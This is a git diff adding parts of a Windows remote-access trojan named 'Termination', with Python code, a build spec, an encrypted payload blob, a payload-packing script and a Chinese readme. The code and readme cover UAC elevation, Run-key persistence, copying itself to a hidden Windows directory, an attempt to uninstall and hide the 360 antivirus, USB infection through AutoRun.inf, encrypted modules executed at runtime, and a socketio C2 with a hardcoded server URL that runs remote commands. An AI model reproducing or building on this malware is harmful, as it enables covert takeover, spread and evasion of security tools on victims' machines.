os.path.abspath(self.GetExeDir()) != os.path.abspath(self.WorkPath): + try: + shutil.copy(self.GetExeFile(), self.WorkPath) + except: + self.Try(e) + ne=os.path.join(self.WorkPath, self.GetExeName()) + if self.GetExeSuffix() in self.PYTRUN or self.GetExeName() in self.PYREXE: + pass + else: + if self.GetExeSuffix() in self.EXERUN: + Popen([ne]) + print("THE END") + os._exit(0) + print("IT IN WORKPATH") + def Is_In_System(self) -> bool: + return os.path.abspath(self.GetExeDir()) == os.path.abspath(self.WorkPath) + def Try(self) -> None: + args=self.GetArgs() + TryNum=0 + if "TryNum" in args and type((args["TryNum"])) == int: + TryNum=args["TryNum"] + pass#这里应该让杀手(killer.py)检查一下尸体和现场 + argv=sys.argv + if TryNum != 0: + argv.remove(f"TryNum={TryNum}") + argv.append(f"TryNum={TryNum+1}") + self.InIt_Admin(0, argv=argv) + def RunExcept(self,e) -> None: + ec=traceback.format_exc() + print(e, ec) + def GetArgs(self): + _=sys.argv + if _ > 1: _=_[1:] + res={} + for i in _: + if i.count("="): + _i=i.split("=") + ins=_i[0] + if _i[0].lstrip(): + ins=int(_i[0]) + res[_i[0]]=ins + continue + res[i]=0 + def GetNeedDir(self) -> str: + return os.path.join(os.getenv("windir"),".Termination") + def GetExeDir(self) -> str: + return os.path.dirname(self.GetExeFile()) + def GetExeName(self) -> str: + return os.path.basename(self.GetExeFile()) + def GetExeSuffix(self, lower: bool=True) -> str: + _=self.GetExeName().split(".")[-1] + if lower == True: return _.lower() + return _ + def IsRun_Py(self): + return self.GetExeSuffix() in self.PYTRUN or self.GetExeName() in self.PYREXE + def IsRun_Exe(self): + return self.GetExeSuffix() in self.EXERUN + def GetExeFile(self) -> str: + return sys.executable + def TimeFormat(self, s="%Y-%m-%d-%H-%M-%S",end=""): + return time.strftime(s+end, time.localtime()) + def Is_Admin(): + return ctypes.windll.shell32.IsUserAnAdmin() + def GetKeysRun(self): + A = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\CurrentVersion\Run", winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY) + B = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run", winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY) + C = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY) + D = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Control\Session Manager", winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY) + return A, B, C, D + def SetKeys(self, value_name, reserved, type, value, *key): + for i in key: + winreg.SetValueEx(i, value_name, reserved, type, value) + def DelKeys(self, value_name, *key): + for i in key: + winreg.DeleteKey(i, value_name) + def CloseKeys(self, *key): + for i in key: + winreg.CloseKey(i) + def AddStartUp(self, Name, FilePath=""): + if FilePath == "": FilePath = self.GetExeFile() + A, B, C, D = self.GetKeysRun() + self.SetKeys(Name, 0, winreg.REG_SZ, FilePath, A, B, C, D) + self.CloseKeys(A, B, C, D) + def UninstallStartUp(self, Name): + A, B, C, D = self.GetRun() + self.DelKeys(Name, A, B, C, D) + self.CloseKeys(A, B, C, D) + def GetFileAttributes(self, FilePath): + return ctypes.windll.kernel32.GetFileAttributesW(FilePath) + def HideFile(self, path): + win32api.SetFileAttributes(path, 6) + +if __name__ == "__main__": + Termination() diff --git a/Termination4.spec b/Termination4.spec new file mode 100644 index 0000000..c72e6e6 --- /dev/null +++ b/Termination4.spec @@ -0,0 +1,38 @@ +# -*- mode: python ; coding: utf-8 -*- + + +a = Analysis( + ['TERMINATION4.PY'], + pathex=[], + binaries=[], + datas=[], + hiddenimports=[], + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=[], + noarchive=False, + optimize=0, +) +pyz = PYZ(a.pure) + +exe = EXE( + pyz, + a.scripts, + a.binaries, + a.datas, + [], + name='TERMINATION4', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + upx_exclude=[], + runtime_tmpdir=None, + console=True, + disable_windowed_traceback=False, + argv_emulation=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None, +) diff --git a/WITH b/WITH new file mode 100644 index 0000000..c8fca12 --- /dev/null +++ b/WITH @@ -0,0 +1 @@ +STARTBOOTCÖt5dVt$DFç6•S5&†6å%f44“fS3–Ä3ENDBOOT \ No newline at end of file diff --git a/killer.py b/killer.py new file mode 100644 index 0000000..2b5cdfa --- /dev/null +++ b/killer.py @@ -0,0 +1,109 @@ +# wei'wa + +class sys(): + from sys import argv, platform, executable, exit as exit +class ctypes(): + from ctypes import POINTER, c_ulong, c_char_p, c_int, c_void_p, windll, sizeof, Structure, byref, WinError + class wintypes(): + from ctypes.wintypes import HANDLE, BOOL, DWORD, HWND, HINSTANCE, HKEY +class subprocess(): + from subprocess import list2cmdline +#class os(): +# from os import path, getenv, mkdir, getlogin, listdir, _exit, remove, rmdir, walk, chmod +import os +import stat +import traceback +import win32api +import win32con +import win32gui +import win32api +import win32process + +class ShellExecuteInfo(ctypes.Structure): + _fields_ = [ + ('cbSize', ctypes.wintypes.DWORD), + ('fMask', ctypes.c_ulong), + ('hwnd', ctypes.wintypes.HWND), + ('lpVerb', ctypes.c_char_p), + ('lpFile', ctypes.c_char_p), + ('lpParameters', ctypes.c_char_p), + ('lpDirectory', ctypes.c_char_p), + ('nShow', ctypes.c_int), + ('hInstApp', ctypes.wintypes.HINSTANCE), + ('lpIDList', ctypes.c_void_p), + ('lpClass', ctypes.c_char_p), + ('hKeyClass', ctypes.wintypes.HKEY), + ('dwHotKey', ctypes.wintypes.DWORD), + ('hIcon', ctypes.wintypes.HANDLE), + ('hProcess', ctypes.wintypes.HANDLE)] + def __init__(self, **kw): + super(ShellExecuteInfo, self).__init__() + self.cbSize = ctypes.sizeof(self) + for field_name, field_value in kw.items(): + setattr(self, field_name, field_value) +ShellExecuteEx = ctypes.windll.shell32.ShellExecuteExA +ShellExecuteEx.argtypes = (ctypes.POINTER(ShellExecuteInfo), ) +ShellExecuteEx.restype = ctypes.wintypes.BOOL +WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject +WaitForSingleObject.argtypes = (ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD) +WaitForSingleObject.restype = ctypes.wintypes.DWORD +CloseHandle = ctypes.windll.kernel32.CloseHandle +CloseHandle.argtypes = (ctypes.wintypes.HANDLE, ) +CloseHandle.restype = ctypes.wintypes.BOOL +def elevate(show_console=True, graphical=True): + if ctypes.windll.shell32.IsUserAnAdmin(): + return + params = ShellExecuteInfo( + fMask=32832, + hwnd=None, + lpVerb=b'runas', + lpFile=sys.executable.encode('UTF-8'), + lpParameters=subprocess.list2cmdline(sys.argv).encode('UTF-8'), + nShow=int(show_console)) + if not ShellExecuteEx(ctypes.byref(params)): + raise ctypes.WinError() + handle = params.hProcess + ret = ctypes.wintypes.DWORD() + WaitForSingleObject(handle, -1) + if ctypes.windll.kernel32.GetExitCodeProcess(handle, ctypes.byref(ret)) == 0: + raise ctypes.WinError() + CloseHandle(handle) + sys.exit(ret.value) + +class P(): + def __init__(self): + elevate(0) + def SPGD(app_path): + try: + win32api.ShellExecute(0, None, app_path, None, None, 1) + processes = win32process.EnumProcesses() + for pid in processes: + if pid!= 0: + try: + handle = win32api.OpenProcess(win32api.PROCESS_QUERY_INFORMATION, False, pid) + process_name = win32process.GetModuleFileNameEx(handle, 0) + if app_path in process_name: + return pid + except: + pass + except Exception as e: + return False + +log=open("./1.txt", "a", encoding="UTF-8") + +class P360(P): + def __init__(self, path: str): + P.__init__(self) + self.path=path + def remove(self): + self.uninst=os.path.join(self.path, "uninst.exe") + if not (pid:=self.SPGD(self.uninst)): + pass#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + def HW(hwnd, extra): + if win32gui.IsWindowVisible(hwnd): + if '1' in win32gui.GetWindowText(hwnd): + win32gui.ShowWindow(hwnd, win32con.SW_HIDE) + win32gui.EnumWindows(HW, None) + +A=P360(r"D:\Program Files (x86)\360\360Safe") +A.remove() \ No newline at end of file diff --git a/readme.md b/readme.md new file mode 100644 index 0000000..0473908 --- /dev/null +++ b/readme.md @@ -0,0 +1,173 @@ +# Termination + +> **对外版本**: 4.0 +> **内部版本**: 4.2 +> **平台**: Windows +> **作者**: 未知(原项目标注 `self.author = None`) + +## 零、关于本项目 + +> **本项目仅是一个玩具,已永久停止维护。** + +版本对应关系(仅作历史记录): + +| 对外版本 | 内部版本 | 状态 | +| :--- | :--- | :--- | +| 3.0 | 4.0 | 已停止维护 | +| 4.0 | 4.2 | 已停止维护(本仓库当前快照) | + +仓库内的源码与文档对应 **对外 4.0 / 内部 4.2**。本项目不再接收任何新功能、Issue 或 PR,所有 `Termination3.py` 中标注的 TODO / `pass` 不会被回填。 + +## 一、项目简介 + +**Termination** 是一个使用 Viper 编写的 Windows 远程管理与控制系统,采用 C/S 架构,通过 socketio 与控制端 (C2) 进行长连接通信,接收并执行远程下发的 Viper 脚本或 cmd 命令。系统包含自我提权、自启动、U 盘感染、模块化加载、错误屏幕等模块。 + +> ⚠️ **免责声明**: 本项目仅供安全研究、合规的远程运维与教学演示使用。未经授权对他人设备进行控制属于违法行为,使用本项目产生的一切后果由使用者自行承担。 + +## 二、目录结构 + +``` +Termination3/ +├── README.md # 本文件 +├── readme.md # 旧版代码片段说明 +├── Termination3.py # 主程序入口,所有核心模块都在此文件 +├── killer.py # 360 安全卫士对抗/隐藏窗口实验脚本 +├── Netio.py # 早期版本的网络处理类(NetworkProcessings) +├── script.py # 引导块 (STARTBOOT/ENDBOOT) 加密/打包工具 +├── WITH # 加密后的启动引导块 +├── Termination4.spec # PyInstaller 打包配置(主程序) +├── TEST.spec # PyInstaller 打包配置(测试程序) +│ +├── Errors/ # 错误/锁屏展示界面 +│ ├── AppleBoot.py # 仿 Apple "联系开发者" 风格蓝屏 +│ ├── ERROR_HTML.py # HTML 错误页 +│ └── FlowerScreen.py # 花卉背景屏幕 +│ +├── Invisible/ # 隐藏/自解密加载相关 +│ ├── Invisible.py # pickle + Fernet 加密 shellcode 加载器 +│ ├── InvisibleRun.py # 运行时解密脚本 +│ └── InvisibleRun.spec # PyInstaller 打包配置 +│ +└── SCRIPT/ # 微型 C 编译工具链(用于编译 native 载荷) + ├── MAKE.BAT # 编译批处理 + ├── nask.exe # NASM 风格汇编器 + ├── gas2nask.exe # GAS -> nask 转换器 + ├── cc1.exe # C 编译器前端 + ├── ld.exe # 链接器 + ├── golibc.lib # Go 风格 C 运行库 + ├── w32clibc.lib # Win32 C 运行库 + ├── libmingw.lib # MinGW 兼容库 + ├── sjisconv.exe # 字符编码转换 + ├── 1.c / 1.ca / 1.gas / 1.nas # 示例 C/汇编源与中间产物 + ├── 1.obj / 1.map # 目标文件与符号表 + └── makefile # make 描述文件(空) +``` + +## 三、核心模块说明(均位于 `Termination3.py`) + +| 序号 | 名称 | 作用 | +| :--- | :--- | :--- | +| 1 | `sys / os / ctypes / winreg / win32api / requests / socketio / tkinter` 等 | 通过同名空类统一导入,提供 Python 标准库与第三方库的扁平命名空间 | +| 2 | `ShellExecuteInfo` + `elevate` | 通过 `shell32.ShellExecuteEx` 以 `runas` 提权,失败时抛 `WinError` | +| 3 | `asyncs` | 装饰器,把同步函数放到 `threading.Thread` 中执行 | +| 4 | `FIO` | 文本/二进制文件读写的单例封装,支持 `openw / opena / openr` 三种模式 | +| 5 | `LockMe` | 基于 `%TEMP%` 下的 `Lock__[pid].lock` 文件实现进程互斥,使用 `atexit` 自动清理 | +| 6 | `Popen` | 同步封装 `subprocess.Popen` | +| 7 | `GodKeys` | 基于 hex 翻转 + Base64 + pickle 的对称加密(密钥 `QWERTYUIOP...=`) | +| 8 | `AppRun` | 远程命令执行器,支持 `python` (`exec`) 与 `cmd` (`cmd.exe /c`) 两种类型,把执行结果回传 C2 | +| 9 | `NetworkProcessings` | 通过 socketio 长连接 C2,提供 `Wait_System / Wait_Web / Try_To_System` 重连逻辑,下发命令通过 `AppRun` 执行 | +| 10 | `InFect` | U 盘感染模块,检测新插入的磁盘,创建 `.` 隐藏目录,写入 `AuToRun.inf` 自动播放 | +| 11 | `Module` | 从自身二进制或 `./WITH` 文件中按 `START...END` 标记提取加密块,使用 `GodKeys` 解密后 `exec` | +| 12 | `Termination` | 顶层 `main` 控制器:提权 → 加锁 → 复制到 `%WINDIR%\.Termination` → 启动感染 → 加载模块 → 启动网络 | + +## 四、运行流程 + +``` +[启动] + └─ Termination.__init__() + ├─ InIt_Admin() # 提权 + ├─ InIt_Value() # 初始化版本/路径/锁对象 + ├─ lock.lock() # 进程互斥 + ├─ CopyToSystem() # 复制到 %WINDIR%\.Termination + ├─ InIt_InFect() # 启动 U 盘感染后台线程 + └─ SetRun() (异步) + ├─ Module.Run() # 解析并执行 WITH 中的加密模块 + └─ NetworkProcessings.Polling() # 与 C2 建立 socketio 长连接 +``` + +## 五、配置与 C2 协议 + +默认 C2 地址写在 `Termination.InIt_Value`: + +```python +self.url = "http://wytyh.space3v.work" +self.app_name = "Termination" +# 注:源码中 self.version 字段保持为 "4.0.0"(旧内部版本号) +# 当前实际内部版本为 4.2,见 README 头部说明,代码不再更新 +self.testversion = "beta" +``` + +C2 端返回的 `host.json` 至少需要包含: + +```json +{ + "Host": "http://your-c2-host:port", + "NetWork": { + "Dir": "/TApi/", + "Command": "Command.api", + "CommandSend": "CommandSend.api", + "Test": "Test.api" + } +} +``` + +客户端标识头:`User-Agent: Termination/4.0 (Termination4)`,心跳字段:`PID / MAC / Name`。 + +## 六、引导块 (`script.py` / `WITH`) + +`script.py` 用于把任意 Viper 源码加密并拼成 `STARTBOOT ... ENDBOOT` 格式的引导块,写入 `WITH` 或可执行文件尾部。`Module` 类在运行时按标记提取并解密: + +```python +_ = b"" +_ += b"STARTBOOT" +_ += g.encrypt(b'{"StartUp":{...}}') # 启动配置(JSON) +_ += b"ENDBOOT" +# _ += b"STARTNetworkProcessings" # 可选:追加更多加密模块 +# _ += g.encrypt(s) +# _ += b"ENDNetworkProcessings" +``` + +## 七、构建 + +主程序通过 PyInstaller 打包,配置见 `Termination4.spec`: + +```bash +pyinstaller Termination4.spec +# 产物: dist/TERMINATION4.exe +``` + +测试程序: + +```bash +pyinstaller TEST.spec +``` + +## 八、依赖 + +| 类别 | 包名 | +| :--- | :--- | +| 标准库 | `sys / os / ctypes / winreg / subprocess / threading / socket / time / hashlib / uuid / random / shutil / re / json / pickle / base64 / copy / platform / tkinter / traceback / atexit` | +| 第三方 | `requests`, `socketio`, `psutil`, `keyboard`, `pywin32` (`win32api / win32gui / win32con / win32process`), `cryptography`(Invisible 使用) | +| 系统 | Windows 7+ (依赖 `shell32` / `kernel32` / `advapi32` 等 Win32 API) | + +## 九、注意事项 + +1. **管理员权限**: 程序需要管理员权限运行,否则 `elevate` 会触发 UAC 重新启动自身。 +2. **杀软对抗**: `killer.py` 是早期的 360 隐藏窗口实验,目前未集成进主流程;在现代 EDR 下行为会被拦截。 +3. **网络重连**: `NetworkProcessings.Try_To_System` 是无限重连循环,程序不会主动退出。 +4. **U 盘传播**: `InFect` 会监控 `psutil.disk_partitions` 的变化,发现新磁盘立即写入 `AuToRun.inf`,请勿在生产环境运行。 +5. **调试建议**: 静态分析优先,使用 `printf` 断点定位崩溃步骤,不要用动态调试器直接跟进 `AppRun._get` 中的 `exec`。 + +--- + +如需补充功能、修订协议或新增 C2 模板,请在 Issues 中提出。 diff --git a/script.py b/script.py new file mode 100644 index 0000000..eaf66b5 --- /dev/null +++ b/script.py @@ -0,0 +1,81 @@ +import pickle +import base64 +import os + + + +class FIO(): + def openw(self, file, write, mode:int=1, encoding="UTF-8"): + if mode == 1: + with open(file, "w", encoding=encoding) as f: + f.write(write) + elif mode == 2: + with open(file, "wb") as f: + f.write(write) + def opena(self, file, write, mode:int=1, encoding="UTF-8"): + if mode == 1: + with open(file, "a", encoding=encoding) as f: + f.write(write) + elif mode == 2: + with open(file, "ab") as f: + f.write(write) + def openr(self, file, mode:int=1, encoding="UTF-8"): + if mode == 1: + with open(file, "r", encoding=encoding) as f: + read = f.read() + elif mode == 2: + with open(file, "rb") as f: + read = f.read() + return read +FIO=FIO() + +class GodKeys(): + def __init__(self): + self.KEY="""'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-+=""" + def _SecretKeyEncryption(self, s: str, k: bytes): + return self._e(s) + def _SecretKeyDecryption(self, s: bytes, k: str): + return self._d(s) + def encrypt(self, s: str, k=None): + if not k: k=self.KEY + return self._SecretKeyEncryption(self.Bytes2Base64(pickle.dumps(s)), k) + def decrypt(self, s: bytes, k=None): + if not k: k=self.KEY + return pickle.loads(self.Base642Bytes(self._SecretKeyDecryption(s, k))) + def Bytes2Base64(self, s): + return base64.b64encode(s) + def Base642Bytes(self, b): + return base64.b64decode(b) + def _RH(self, hex_str): + return ''.join([hex_str[(i + 3) % len(hex_str)] for i in range(len(hex_str))]) + def _SH(self, rearranged_hex): + return ''.join([rearranged_hex[(i - 3) % len(rearranged_hex)] for i in range(len(rearranged_hex))]) + def _e(self, bytes_data): + hex_data = bytes_data.hex() + reversed_hex = self._RH(hex_data[::-1])[::-1] + return bytes.fromhex(reversed_hex) + def _d(self, encrypted_bytes): + hex_data = encrypted_bytes.hex() + reversed_hex = self._SH(hex_data[::-1])[::-1] + return bytes.fromhex(reversed_hex) + + +g=GodKeys() +s=FIO.openr("./Netio.py") +s=g.encrypt(s) + +_=b"" +#_=FIO.openr("./dist/TERMINATION4.exe", 2) + +_+=b"STARTBOOT" +#_+=g.encrypt(b'{"StartUp":{"NetworkProcessings":{"Globals":[],"Run":{"NetworkProcessings":{"url":"Termination.url","Tasks":"PyTasks"}}}}}') +_+=g.encrypt(b'{"StartUp":{}}') + +_+=b"ENDBOOT" +#_+=b"STARTNetworkProcessings" +#_+=g.encrypt(s) +#_+=b"ENDNetworkProcessings" + + +#FIO.openw("./T.exe", _, 2) +FIO.openw("./with", _, 2) \ No newline at end of file